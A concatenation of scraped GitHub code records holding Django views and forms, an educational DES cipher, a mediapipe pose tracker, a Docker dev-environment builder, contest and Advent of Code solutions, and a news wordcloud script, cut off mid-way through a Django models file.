PostForm\nfrom .models import Follow, Group, Post, User\nfrom .utils import get_page_paginator\n\n\ndef index(request):\n \"\"\"функция для формирования главной страницы.\"\"\"\n template = 'posts/index.html'\n posts = Post.objects.select_related('group')\n page_obj = get_page_paginator(request, posts)\n\n context = {\n 'page_obj': page_obj,\n }\n\n return render(request, template, context)\n\n\ndef group_posts(request, slug):\n \"\"\"функция для формирования страницы с записями сообщества.\"\"\"\n template = 'posts/group_list.html'\n group = get_object_or_404(Group, slug=slug)\n posts = group.posts_group.all()\n page_obj = get_page_paginator(request, posts)\n\n context = {\n 'group': group,\n 'page_obj': page_obj\n }\n\n return render(request, template, context)\n\n\ndef profile(request, username):\n \"\"\"Функция для формирования страницы профиля пользователя.\"\"\"\n template = 'posts/profile.html'\n user = get_object_or_404(User, username=username)\n posts = user.posts.all()\n page_obj = get_page_paginator(request, posts)\n following = False\n\n if request.user.is_authenticated:\n if Follow.objects.filter(user=request.user, author=user).exists():\n following = True\n\n context = {\n 'username': user,\n 'page_obj': page_obj,\n 'following': following\n }\n\n return render(request, template, context)\n\n\ndef post_detail(request, post_id):\n \"\"\"Функция формирования страницы поста.\"\"\"\n template = 'posts/post_detail.html'\n post = get_object_or_404(Post, pk=post_id)\n count_posts = post.author.posts.count()\n comments = post.comments.all()\n form = CommentForm()\n\n context = {\n 'post': post,\n 'count_posts': count_posts,\n 'comments': comments,\n 'form': form\n }\n\n return render(request, template, context)\n\n\n@login_required\ndef post_create(request):\n \"\"\"Создание поста пользователем.\"\"\"\n template = 'posts/create_post.html'\n form = PostForm(request.POST or None, files=request.FILES or None)\n\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n post.save()\n return redirect('posts:profile', username=request.user)\n\n context = {'form': form}\n\n return render(request, template, context)\n\n\n@login_required\ndef post_edit(request, post_id):\n \"\"\"Изменение поста пользователем.\"\"\"\n template = 'posts/create_post.html'\n post = get_object_or_404(Post, pk=post_id)\n\n if post.author != request.user:\n return redirect('posts:post_detail', post_id=post_id)\n\n form = PostForm(\n request.POST or None, files=request.FILES or None, instance=post\n )\n\n if form.is_valid():\n form.save()\n return redirect('posts:post_detail', post_id=post_id)\n\n context = {\n 'is_edit': True,\n 'form': form,\n 'post_id': post_id\n }\n\n return render(request, template, context)\n\n\n@login_required\ndef add_comment(request, post_id):\n \"\"\"Добавить комментарий к посту.\"\"\"\n post = get_object_or_404(Post, pk=post_id)\n form = CommentForm(request.POST or None)\n\n if form.is_valid():\n comment = form.save(commit=False)\n comment.author = request.user\n comment.post = post\n comment.save()\n\n return redirect('posts:post_detail', post_id=post_id)\n\n\n@login_required\ndef follow_index(request):\n \"\"\"Вывести посты авторов, на которых подписан пользователь.\"\"\"\n template = 'posts/follow.html'\n posts = Post.objects.filter(author__following__user=request.user)\n page_obj = get_page_paginator(request, posts)\n context = {\n 'page_obj': page_obj,\n }\n\n return render(request, template, context)\n\n\n@login_required\ndef profile_follow(request, username):\n \"\"\"Подписаться на автора.\"\"\"\n author = get_object_or_404(User, username=username)\n if author == request.user:\n return redirect('posts:profile', username=username)\n if not Follow.objects.filter(user=request.user, author=author).exists():\n Follow.objects.create(user=request.user, author=author)\n\n return redirect('posts:profile', username=username)\n\n\n@login_required\ndef profile_unfollow(request, username):\n \"\"\"Отписаться от автора.\"\"\"\n author = get_object_or_404(User, username=username)\n Follow.objects.filter(user=request.user, author=author).delete()\n return redirect('posts:profile', username=username)\n","repo_name":"lllleeenna/hw05_final","sub_path":"yatube/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"35737360813","text":"##########################################################################################################\r\n# Name: Jose Ruben Espinoza #\r\n# Summary: Pythonic implementation of DES algorithm. Both encryption and decryption are studied here. #\r\n# Sources: Ideas were developed using Chapter 06 of your textbook: Cryptography and Network Security, #\r\n# by William Stallings. Permutation arrays are standards. #\r\n##########################################################################################################\r\n\r\n# Import necessary libraries\r\nimport numpy as np\r\n\r\n##########################################################################################################\r\n# Begin DES Portion of Code #\r\n##########################################################################################################\r\n# Define initial and final permutations.\r\ninitial_permutation = [58, 50, 42, 34, 26, 18, 10, 2,\r\n 60, 52, 44, 36, 28, 20, 12, 4,\r\n 62, 54, 46, 38, 30, 22, 14, 6,\r\n 64, 56, 48, 40, 32, 24, 16, 8,\r\n 57, 49, 41, 33, 25, 17, 9, 1,\r\n 59, 51, 43, 35, 27, 19, 11, 3,\r\n 61, 53, 45, 37, 29, 21, 13, 5,\r\n 63, 55, 47, 39, 31, 23, 15, 7]\r\nfinal_permutation = [40, 8, 48, 16, 56, 24, 64, 32,\r\n 39, 7, 47, 15, 55, 23, 63, 31,\r\n 38, 6, 46, 14, 54, 22, 62, 30,\r\n 37, 5, 45, 13, 53, 21, 61, 29,\r\n 36, 4, 44, 12, 52, 20, 60, 28,\r\n 35, 3, 43, 11, 51, 19, 59, 27,\r\n 34, 2, 42, 10, 50, 18, 58, 26,\r\n 33, 1, 41, 9, 49, 17, 57, 25]\r\n\r\n# Recall that dictionaries are fast, we use them to define our s_boxes\r\n# note that these boxes are gotten from our textbook and DES documentation\r\nSBox = {0: [[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7],\r\n [0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8],\r\n [4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0],\r\n [15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]],\r\n 1: [[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10],\r\n [3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5],\r\n [0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15],\r\n [13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9]],\r\n 2: [[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8],\r\n [13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1],\r\n [13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7],\r\n [1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12]],\r\n 3: [[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15],\r\n [13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9],\r\n [10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4],\r\n [3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14]],\r\n 4: [[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9],\r\n [14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6],\r\n [4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14],\r\n [11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3]],\r\n 5: [[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11],\r\n [10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8],\r\n [9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6],\r\n [4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13]],\r\n 6: [[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1],\r\n [13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6],\r\n [1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2],\r\n [6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12]],\r\n 7: [[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7],\r\n [1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2],\r\n [7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8],\r\n [2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]]\r\n }\r\n\r\n\r\n# Straight permutation table.\r\nstring_permutation_table = [16, 7, 20, 21, 29, 12, 28, 17,\r\n 1, 15, 23, 26, 5, 18, 31, 10,\r\n 2, 8, 24, 14, 32, 27, 3, 9,\r\n 19, 13, 30, 6, 22, 11, 4, 25]\r\n\r\n# Expansion D-Box\r\nexpansion_d_box = [32, 1, 2, 3, 4, 5,\r\n 4, 5, 6, 7, 8, 9,\r\n 8, 9, 10, 11, 12, 13,\r\n 12, 13, 14, 15, 16, 17,\r\n 16, 17, 18, 19, 20, 21,\r\n 20, 21, 22, 23, 24, 25,\r\n 24, 25, 26, 27, 28, 29,\r\n 28, 29, 30, 31, 32, 1]\r\n\r\n\r\n# For key generation (pc1)\r\nparity_bit_drop_table = [57, 49, 41, 33, 25, 17, 9, 1,\r\n 58, 50, 42, 34, 26, 18, 10, 2,\r\n 59, 51, 43, 35, 27, 19, 11, 3,\r\n 60, 52, 44, 36, 63, 55, 47, 39,\r\n 31, 23, 15, 7, 62, 54, 46, 38,\r\n 30, 22, 14, 6, 61, 53, 45, 37,\r\n 29, 21, 13, 5, 28, 20, 12, 4]\r\n\r\n# For key generation (pc2)\r\nkey_compression_table = [14, 17, 11, 24, 1, 5, 3, 28,\r\n 15, 6, 21, 10, 23, 19, 12, 4,\r\n 26, 8, 16, 7, 27, 20, 13, 2,\r\n 41, 52, 31, 37, 47, 55, 30, 40,\r\n 51, 45, 33, 48, 44, 49, 39, 56,\r\n 34, 53, 46, 42, 50, 36, 29, 32]\r\n\r\n\r\ndef split_message(message):\r\n \"\"\"\r\n Splits a given bit message black in half.\r\n :param message: 64 bit message\r\n :return: Tuple: (left_side, right_side)\r\n \"\"\"\r\n return message[0:32], message[32:65]\r\n\r\n\r\ndef permute_bits(bits, permutation):\r\n \"\"\"\r\n Allows for permutation of bits given a table. Note that we utilize array manipulations for ease of development.\r\n :param bits: binary bits as strings\r\n :param permutation: Permutation table.\r\n :return: resulting permutation\r\n \"\"\"\r\n returning_bits = list(bits)\r\n returning_arr = []\r\n for idx, value in enumerate(permutation):\r\n returning_arr.append(returning_bits[value - 1])\r\n return ''.join(returning_arr)\r\n\r\ndef key_generation(key):\r\n \"\"\"\r\n Generate all keys using the DES standard.\r\n :param key: 64 bit key\r\n :return: Dictionary of binary keys.\r\n \"\"\"\r\n key_dict = {}\r\n permuted_bits = permute_bits(key, parity_bit_drop_table)\r\n\r\n for num in range(1, 17):\r\n bit_split = (permuted_bits[0:28], permuted_bits[28:])\r\n if num == 1 or num == 2 or num == 9 or num == 16:\r\n shifted = (np.roll([bit for bit in bit_split[0]], -1), np.roll([bit for bit in bit_split[1]], -1))\r\n shifted = ''.join(shifted[0]) + ''.join(shifted[1])\r\n else:\r\n shifted = (np.roll([bit for bit in bit_split[0]], -2), np.roll([bit for bit in bit_split[1]], -2))\r\n shifted = ''.join(shifted[0]) + ''.join(shifted[1])\r\n key_dict[num] = permute_bits(shifted, key_compression_table)\r\n permuted_bits = shifted\r\n return key_dict\r\n\r\ndef des_function(bits32, key):\r\n \"\"\"\r\n Inner workings of DES function.\r\n :param bits32: 32 bits\r\n :param key: 48 bits\r\n :return: Permuted bits.\r\n \"\"\"\r\n post_expansion = permute_bits(bits32, expansion_d_box)\r\n xor_operation = bin(int(post_expansion, 2) ^ int(key, 2))[2:].zfill(48)\r\n\r\n if len(xor_operation) != 48:\r\n # On here as a safety.\r\n print(\"Something went wrong.\")\r\n else:\r\n pieces_of_6_bits = [xor_operation[i: i+6] for i in range(0, len(xor_operation), 6)]\r\n post_s_boxes = []\r\n #print(pieces_of_6_bits)\r\n for idx, subset in enumerate(pieces_of_6_bits):\r\n row = int(subset[0] + subset[5], 2)\r\n column = int(subset[1:5], 2)\r\n post_s_boxes.append(bin(SBox[idx][row][column])[2:].zfill(4))\r\n s_box_num = ''.join(post_s_boxes)\r\n\r\n return permute_bits(s_box_num, string_permutation_table)\r\n\r\ndef des_main(message, key_dict, decrypt_vs_encrpty):\r\n \"\"\"\r\n Main driver code for DES encryption.\r\n :param message: 64bit message black\r\n :param key_dict: keys 1-16, used for rounds\r\n :return: binary ciphertext\r\n \"\"\"\r\n message = permute_bits(message, initial_permutation)\r\n # Feistel Cipher\r\n left_side, right_side = split_message(message)\r\n\r\n if decrypt_vs_encrpty == \"encrypt\":\r\n key_order = range(1, 17)\r\n else:\r\n key_order = list(reversed(range(1,17)))\r\n for rounds in key_order:\r\n post_function = des_function(right_side, key_dict[rounds])\r\n new_right = bin(int(left_side, 2) ^ int(post_function, 2))[2:].zfill(32)\r\n new_left = right_side\r\n right_side = new_right\r\n left_side = new_left\r\n\r\n\r\n return permute_bits(right_side+left_side, final_permutation)\r\n\r\ndef convert_to_64bit_blocks(message):\r\n \"\"\"\r\n Returns blocks of 64 bits, padding of 0s if message length is not divisible by 64.\r\n :param message: Text message.\r\n :return: Array of 64 bit elements.\r\n \"\"\"\r\n bits_of_64_conversion = [ord(c) for c in message]\r\n bits_of_64_conversion = [bin(num)[2:].zfill(8) for num in bits_of_64_conversion]\r\n bits_of_64_conversion = ''.join(bits_of_64_conversion)\r\n\r\n needed_bits = 64 - (len(bits_of_64_conversion) % 64)\r\n\r\n # Converting to list, since operations are more intuitive\r\n convert_2_list = list(bits_of_64_conversion)\r\n convert_2_list.extend(['0'] * needed_bits)\r\n\r\n bits_of_64_conversion = ''.join(convert_2_list)\r\n\r\n return [bits_of_64_conversion[i:i+64] for i in range(0, len(bits_of_64_conversion), 64)]\r\n##########################################################################################################\r\n# Ending DES Portion of Code #\r\n##########################################################################################################\r\n\r\n\r\n# Driver code\r\nif __name__ == '__main__':\r\n\r\n key = '133457799BBCDFF1' # if this is changed make sure it's a 64 bit\r\n key_2_hex = [key[i:i+2] for i in range(0, len(key), 2)]\r\n key_2_binary = ''.join([bin(int(num, 16))[2:].zfill(8) for num in key_2_hex])\r\n\r\n key_dict = key_generation(key_2_binary)\r\n\r\n # Showcasing the encryption of a message.\r\n message_to_encrypt = \"Hello world!\"\r\n print(\"Original message: \", message_to_encrypt)\r\n message_to_encrypt = convert_to_64bit_blocks(message_to_encrypt)\r\n print(\"Original message as bits of 64: \", message_to_encrypt)\r\n\r\n encrypted_message = []\r\n for piece in message_to_encrypt:\r\n encrypted_message.append(des_main(piece, key_dict, \"encrypt\"))\r\n encrypted_message = ''.join(encrypted_message)\r\n\r\n print(\"Encrypted bits: \", encrypted_message)\r\n\r\n # Showcasing the decryption of a message.\r\n # First break into array of 64 bits\r\n breaking_message_64s = [encrypted_message[i:i + 64] for i in range(0, len(encrypted_message), 64)]\r\n print(\"Encrypted message as bits of 64: \", breaking_message_64s)\r\n print(\"\\n\\n\")\r\n decrypted_message = []\r\n for piece in breaking_message_64s:\r\n decrypted_message.append(des_main(piece, key_dict, \"decrypt\"))\r\n\r\n decrypted_message = ''.join(decrypted_message)\r\n print(\"Decrypted message as bits: \", decrypted_message)\r\n\r\n decrypted_message = [chr(int(decrypted_message[i: i + 8], 2)) for i in range(0, len(decrypted_message), 8)\r\n if chr(int(decrypted_message[i: i + 8], 2)) != '\\x00']\r\n\r\n decrypted_message = ''.join(decrypted_message)\r\n print(decrypted_message)\r\n\r\n\r\n","repo_name":"0x17io/python_des_implementation","sub_path":"des.py","file_name":"des.py","file_ext":"py","file_size_in_byte":11881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"42380861971","text":"import cv2\nimport mediapipe as mp\nimport time\ncapture = cv2.VideoCapture(0)\n\nmpPose_file = mp.solutions.pose\nfun_pose = mpPose_file.Pose()\n\nmpDraw_file = mp.solutions.drawing_utils\n\npTime = 0\ncTime = 0\nwhile(True):\n ret, img = capture.read()\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n results = fun_pose.process(imgRGB)\n \n landmarks_all = results.pose_landmarks\n \n if landmarks_all:\n for idd,lm in enumerate(landmarks_all.landmark):\n h, w, c = img.shape\n cx, cy = int(lm.x * w), int(lm.y * h)\n if idd == 0:\n cv2.circle(img,(cx,cy),15,(255,10,255),cv2.FILLED)\n mpDraw_file.draw_landmarks(img, landmarks_all, mpPose_file.POSE_CONNECTIONS) \n cTime = time.time()\n fps = 1/(cTime-pTime)\n pTime = cTime\n cv2.putText(img,str(int(fps)),(10, 70),cv2.FONT_HERSHEY_DUPLEX,3,(0,255,255),3)\n cv2.imshow('video original', img)\n \n if cv2.waitKey(1) == 27:\n break\n \ncapture.release()\ncv2.destroyAllWindows()","repo_name":"mohammed3120/computer_vision_mediapipe","sub_path":"2_poseTracking/poseTracking.py","file_name":"poseTracking.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"39602204793","text":"from django import forms\n\nfrom .models import Autor\n\nclass PostAutor(forms.ModelForm):\n nome = forms.CharField(label='Nome completo')\n dataNascimento = forms.DateField(label='Data Nascimento',input_formats=['%d/%m/%Y'],widget=forms.DateTimeInput(attrs={'class': 'form-control datetimepicker-input','data-target': '#datetimepicker1'}))\n class Meta:\n model = Autor\n fields = ('nome','dataNascimento')\n\nclass BuscaAutor(forms.Form):\n autor=forms.CharField(label='Nome do Autor')\n","repo_name":"BrenoPeixotobr/readers","sub_path":"autor/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"10222576241","text":"import os\nimport pwd\nimport grp\n\nfrom collections import OrderedDict\n\nfrom envy.lib.docker_manager import ContainerManager\nfrom envy.lib.io import StepPrinter\nfrom envy.lib.config import ENVY_CONFIG\n\nimport envy.lib.triggers as triggers\n\nfrom .script_setup_step import ScriptSetupStep\nfrom .remote_setup_step import RemoteSetupStep\nfrom .apt_package_manager_step import AptPackageManagerStep\n\n\nclass Builder:\n \"\"\" Runs triggered build steps on a container\n \"\"\"\n\n def __init__(self, container: ContainerManager, printer: StepPrinter):\n self.container = container\n self.printer = printer\n self.steps = OrderedDict()\n self.system_package_step = None\n\n def build(self):\n # Create system packages step\n self.__create_system_packages_step()\n\n # Create initial-setup step\n self.__create_initial_setup_steps()\n\n # Create steps\n self.__create_steps()\n\n # Run triggered steps\n self.__run_triggered()\n\n # Persist triggers\n self.__persist_triggers()\n\n def __create_system_packages_step(self):\n self.system_package_step = AptPackageManagerStep(\n self.container, ENVY_CONFIG.get_system_packages()\n )\n self.steps[self.system_package_step.name] = self.system_package_step\n\n def __create_initial_setup_steps(self):\n # Set up this user's username and groups inside the container.\n uid = os.getuid()\n gid = os.getgid()\n groups = os.getgroups()\n uname = pwd.getpwuid(uid).pw_name\n\n group_info = [grp.getgrgid(group) for group in groups]\n group_creation = [\n \"echo '{}:x:{}:{}' >> /etc/group\".format(\n group.gr_name, str(group.gr_gid), uname if group.gr_gid != gid else \"\"\n )\n for group in group_info\n ]\n\n chmod_step = ScriptSetupStep(\n \"ENVY_chmod_root\",\n \"Setting up home environment\",\n self.container,\n [\n \"chmod a+wrx /root\",\n \"chmod a+wrx /\",\n \"echo '{}:x:{}:{}::/uhome:/bin/bash' >> /etc/passwd\".format(\n uname, str(uid), str(gid)\n ),\n \"mkdir /uhome\",\n \"chown {}:{} /uhome\".format(str(uid), str(gid)),\n ]\n + group_creation,\n False,\n )\n self.steps[chmod_step.name] = chmod_step\n\n def __create_steps(self):\n for m in ENVY_CONFIG.get_setup_steps():\n # Create step\n name = m[\"name\"]\n label = m[\"label\"]\n if m[\"type\"] == \"script\":\n step = ScriptSetupStep(\n name, label, self.container, m[\"run\"], m[\"as_user\"]\n )\n elif m[\"type\"] == \"remote\":\n step = RemoteSetupStep(name, label, self.container, m[\"url\"])\n\n # Create and register triggers\n if m[\"triggers\"] == \"always\":\n trigger = triggers.TriggerAlways()\n else:\n trigger_list = []\n for t in m[\"triggers\"][\"system-packages\"]:\n trigger_list.append(\n triggers.TriggerSystemPackage(t, self.system_package_step)\n )\n for t in m[\"triggers\"][\"files\"]:\n trigger_list.append(triggers.TriggerWatchfile(t))\n for t in m[\"triggers\"][\"steps\"]:\n trigger_list.append(triggers.TriggerStep(self.steps[t]))\n\n trigger = triggers.TriggerGroup(trigger_list)\n\n step.set_trigger(trigger)\n\n # Add step to dict\n self.steps[name] = step\n\n def __run_triggered(self):\n for step in self.steps.values():\n if step.should_trigger():\n self.printer.start_step(step.label)\n step.run()\n self.printer.end_step()\n else:\n self.printer.skip_step(step.label)\n\n def __persist_triggers(self):\n for step in self.steps.values():\n if step.has_built():\n step.persist_trigger()\n","repo_name":"envy-project/envy","sub_path":"envy/lib/setup_step/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":4128,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"30"} +{"seq_id":"37677687403","text":"import sys\n\n\ndef main():\n N = int(input())\n\n AC = []\n\n count_r = 0\n count_g = 0\n count_b = 0\n\n for _ in range(2 * N):\n a, c = sys.stdin.readline().strip().split()\n a = int(a)\n AC.append((a, c))\n\n if c == \"R\":\n count_r += 1\n elif c == \"G\":\n count_g += 1\n else:\n count_b += 1\n\n if count_r % 2 == 0 and count_g % 2 == 0 and count_b % 2 == 0:\n print(0)\n return\n\n if count_r % 2 == 0:\n even_color = \"R\"\n elif count_g % 2 == 0:\n even_color = \"G\"\n else:\n even_color = \"B\"\n\n odd_colors = []\n for color in [\"R\", \"G\", \"B\"]:\n if color == even_color:\n continue\n odd_colors.append(color)\n\n AC.sort()\n\n def search_min_diff(color1, color2):\n def _search(c1, c2):\n res = float(\"inf\")\n right = 0\n for left in range(len(AC) - 1):\n if AC[left][1] != c1:\n continue\n if right <= left:\n right = left + 1\n\n while right + 1 < len(AC) and AC[right][1] != c2:\n right += 1\n\n if AC[right][1] != c2:\n break\n\n res = min(res, AC[right][0] - AC[left][0])\n\n return res\n\n res = min(_search(color1, color2), _search(color2, color1))\n return res\n\n ans = search_min_diff(odd_colors[0], odd_colors[1])\n ans = min(ans, search_min_diff(odd_colors[0], even_color) + search_min_diff(odd_colors[1], even_color))\n\n print(ans)\n\n return\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AmanouToona/devotion","sub_path":"ARC121_B.py","file_name":"ARC121_B.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"37577444483","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Day 2: Dive!\n\ntry:\n exec(open('AoC-functions.py').read())\nexcept (NameError,FileNotFoundError):\n PATH = '/Users/caspar/Progs/adventofcode/'\n exec(open(f'{PATH}/AoC-functions.py').read())\n\ntask = getAoC(2, 2021)\ntask['example']\ntask['real']\n\ndef task2a(task):\n \n forward = 0\n depth = 0\n \n for l in task:\n i = l.split(' ')\n n = int(i[1])\n if i[0] == 'forward':\n forward += n\n elif i[0] == 'up':\n depth -= n\n else:\n depth += n\n \n answer = forward * depth\n print('answer 2a:',answer)\n\ntask2a(task['example']) # 150\ntask2a(task['real']) # 1728414\n\n\ndef task2b(task):\n\n forward = 0\n depth = 0\n aim = 0\n \n for l in task:\n i = l.split(' ')\n n = int(i[1])\n if i[0] == 'forward':\n forward += n\n depth += aim * n\n elif i[0] == 'up':\n aim -= n\n else:\n aim += n\n \n answer = forward * depth\n print('answer 2b:',answer)\n\ntask2b(task['example']) # 900\ntask2b(task['real']) # 1765720035\n\n\n# benchmark\nbenchmark(\"task2a(task['real'])\", 1000)\nbenchmark(\"task2b(task['real'])\", 1000)\n","repo_name":"cwverhey/adventofcode","sub_path":"2021/day02.py","file_name":"day02.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"30"} +{"seq_id":"12899137159","text":"class Solution:\n def convert(self, s, numRows):\n \"\"\"\n :type s: str\n :type numRows: int\n :rtype: str\n \"\"\"\n res = [[] for i in range(numRows)]\n lens = len(s)\n rows = min(numRows, len(s))\n down = False\n curRow = 0\n for i in range(lens):\n res[curRow]+=s[i]\n if curRow == 0 or curRow == numRows - 1:\n down = not down\n if down:\n curRow = curRow + 1\n else:\n curRow = curRow - 1\n return res\n\ntest = Solution()\nt = test.convert(\"PAYPALISHIRING\",3)\nprint(''.join(t[0]+t[1]+t[2]))\nprint(''.join(t))","repo_name":"klmhly/Python-Study","sub_path":"字符串/之字形.py","file_name":"之字形.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"74629507606","text":"# word cloud script\nimport numpy as np\nimport pandas as pd\nfrom wordcloud import WordCloud\nimport matplotlib.pyplot as plt\nfrom django_pandas.io import read_frame # to import dataset from django queryset\nfrom nltk.corpus import stopwords \n\n# standard import to load data from database\nfrom .models import News\nfrom celery import shared_task\n\n@shared_task\ndef run_wordcloud():\n # retrieve the entire dataset from the News table\n # possible improvement would be to pass a timerange through the endpoing\n # and use it to create the plot\n news_queryset = News.objects.all()\n \n # now build the pandas datasets using only the column title from the queryset\n df = read_frame(news_queryset, fieldnames=['title'])\n\n # step one:\n # make everything lowercase \n # remove common words using nltk stopwords\n text = \" \".join(title for title in df.title)\n my_list = [w for w in text.split() if w.isalnum()]\n s = set(stopwords.words('english'))\n my_list_one = [w.lower() for w in my_list if w.lower() not in s]\n \n # step two:\n # do a second parse to eliminate words from a static set loaded from file\n with open('stopwords.txt', 'r') as f:\n my_stopwords_set = set(f.read().split(' ')) \n my_list_two = [w for w in my_list_one if w not in my_stopwords_set]\n\n # step three:\n # do a third parse and get rid of numbers\n my_list_three = [w for w in my_list_two if not w.isdigit()]\n\n # step four\n # another parse to remove strings shorter than 3 characters\n my_list_four = [w for w in my_list_three if len(w) > 3]\n \n \"\"\"\n # this is for testing only, to check which are the most frequents words\n my_dictionary = {}\n for item in my_list_four:\n if item in my_dictionary:\n my_dictionary[item] += 1\n else:\n my_dictionary[item] = 1\n print(sorted(my_dictionary, key = my_dictionary.get, reverse = True))\n \"\"\"\n\n # join the list again to prepare it for the wordcloud\n parsed_text = ''\n for item in my_list_four: parsed_text += item + \" \"\n\n # lower max_font_size, change the maximum number of word and lighten the background:\n wordcloud = WordCloud(max_words=40, max_font_size=50, background_color=\"white\").generate(parsed_text)\n \n # when changing the figure size check which is the dpi set in the views\n plt.figure(figsize=(3, 2))\n plt.imshow(wordcloud, interpolation=\"bilinear\")\n plt.axis(\"off\")\n plt.savefig('media/wordcloud.png', dpi=200)\n\n# allowing to execute this from command line so you can test it from shell\nif __name__ == \"__main__\":\n run_wordcloud()\n","repo_name":"f-campanini/space-industry","sub_path":"scraping/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"22952436337","text":"\n\nfrom Q.Oktett_Training import q_train_from_games_jakob\n\nimport os\n\nos.chdir(os.path.dirname(__file__))\n\nfrom agent_code.observation_object import ObservationObject\nfrom evaluation_environment import EvaluationEnvironment\n\n\ndef main():\n \"\"\"\n Runs and trains a Q-learning model.\n :return:\n \"\"\"\n os.chdir(os.path.dirname(__file__))\n cwd = os.getcwd()\n\n obs = ObservationObject(0, ['d_closest_coin_dir',\n 'd_closest_safe_field_dir',\n 'me_has_bomb',\n 'dead_end_detect',\n 'd4_is_safe_to_move_a_l',\n 'd4_is_safe_to_move_b_r',\n 'd4_is_safe_to_move_c_u',\n 'd4_is_safe_to_move_d_d',\n 'd_best_bomb_dropping_dir',\n 'd_closest_enemy_dir'\n ], None)\n\n write_path = 'data/qtables/' + obs.get_file_name_string()\n\n if not os.path.exists(write_path):\n os.makedirs(write_path)\n\n KNOWN, Q = q_train_from_games_jakob(cwd + \"/\" + 'data/games/four_players_esa_0_2_cratedens_0_75',\n write_path,\n obs, a=0.5, g=0.7, save_every_n_files=5, stop_after_n_files=200)\n\n env = EvaluationEnvironment([\"testing_only\"], write_path + \"/evaluations\" )\n env.run_trials(add_folder=True)\n env.analyze_games()\n\nif __name__ == '__main__':\n while True:\n main()\n","repo_name":"stdhd/bomberman","sub_path":"bomberman_environment/main_train_jakob.py","file_name":"main_train_jakob.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"28079708150","text":"# -*- coding: utf-8 -*-\nimport uuid\nfrom datetime import date, datetime, timedelta\nfrom django.conf import settings\nfrom django.contrib.auth.models import User, Group\nfrom django.contrib.postgres.search import SearchVector, SearchVectorField\nfrom django.contrib.postgres.indexes import BrinIndex\nfrom django.db import models\nfrom django.db import transaction\nfrom django.template.defaultfilters import slugify\nfrom django.utils import timezone\nfrom django.utils.translation import ugettext_lazy as _\nfrom oauth2_provider.models import (\n Application,\n AbstractApplication\n)\n\n\nclass UserApplicationManager(models.Manager):\n def full_text_search(self, keyword):\n \"\"\"Function performs full text search of various textfields.\"\"\"\n # The following code will use the native 'PostgreSQL' library\n # which comes with Django to utilize the 